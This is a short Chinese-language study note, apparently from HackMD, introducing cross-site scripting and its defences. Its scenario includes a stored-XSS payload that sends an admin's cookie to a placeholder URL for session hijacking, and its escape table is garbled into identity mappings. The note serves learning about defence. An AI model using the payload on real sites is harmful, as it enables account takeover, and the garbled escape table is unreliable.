# 六、了解並預防 Cross-Site Scripting (XSS) 攻擊 1. XSS 攻擊的基本介紹。 - XSS (Cross-site scripting): 在可 input 的地方輸入惡意語法竄改程式,用來竊取使用者資料 - 導向惡意網站 - 竊取 cookies, 登入資訊 - SQL Injection: 同上輸入惡意語法,竊取、修改資料庫 2. 實際設計一個 XSS 攻擊情境。 在一個會紀錄 admin 是否看過留言的論壇網站,透過取得 admin 的 cookie,去得到他的 session 資料,而得以駭入 admin 的帳戶。 於 user input 輸入: ``` <script> var i=new Image; <p> i.src="<url>/?"+document.cookie;<p> </script> ``` 等到下次 admin 登入後,透過 i.src 取得 admin 的 cookie,便可使用 session 的資料偽裝成 admin 登入 3. 根據上述設計的情境,說明開發者該如何預防。 設定 HttpOnly,阻止 javascript 直接存取 cookie 1. input Validate >> str(), 禁止輸入符號 2. escape, encode: - & "&"; - < "<"; - > ">"; - " """; - ' "'"; 3. 使用 Sanitize 套件: HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails 4. 使用 CSP - 載入來源白名單 - 禁止 inline 程式碼 - 禁止 eval 函式 - 防止 sniffer 資料來源:https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/ https://www.acunetix.com/websitesecurity/cross-site-scripting/
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up